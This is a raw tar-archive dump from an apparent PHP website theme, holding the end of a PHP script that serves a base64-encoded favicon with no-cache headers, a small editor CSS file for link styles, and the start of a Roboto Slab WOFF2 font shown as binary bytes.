header( "Expires: Sat, 26 Jul 1997 05:00:00 GMT" );
header( "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0" );
header( "Pragma: no-cache" );
global $lang, $root_url, $favicon_path;
?>
'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ
RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n
/ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ
QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA=='
);
}
?>
assets/css/editor-style.css 0000666 00000000235 15172262367 0012013 0 ustar 00 /*
* Link styles
* https://github.com/WordPress/gutenberg/issues/42319
*/
a {
text-decoration-thickness: 1px !important;
text-underline-offset: .1em;
}
assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2 0000666 00000342134 15172262367 0020066 0 ustar 00 wOF2 \ , uT?HVAR3`?STAT'. P/l
T 0J6$ FN[iciEAѶţҡZs'R.Lt1ܹ27g'NTfgd"6= Yr o)_[n]7h9OUBhn"X,ۜJ!/^{\iŪ`,:՚<ԋ)tuD0r
-D!*N]H7\zlf`i)%?&dK 5n9q/rv731JTIBmX@L'LLFɋ4!^ORJq!;&6Zcet{D/d۠c/gAI䶪2oqF]
BK|jEX!0N9
a? \b)NCLiD>ə:ͺ8)j*V3#gd`e(yddÚ+'e +Ǚ&1_^j{_ӟs}V_Q!RSBi,F!jlGŘD}w{n~Kd%JJOV$I$IdeKVz~$I$I$YYk%YJOnSרAp^t=W**
7CrJl/KGdQi.{&e6NU#ڬm8GQt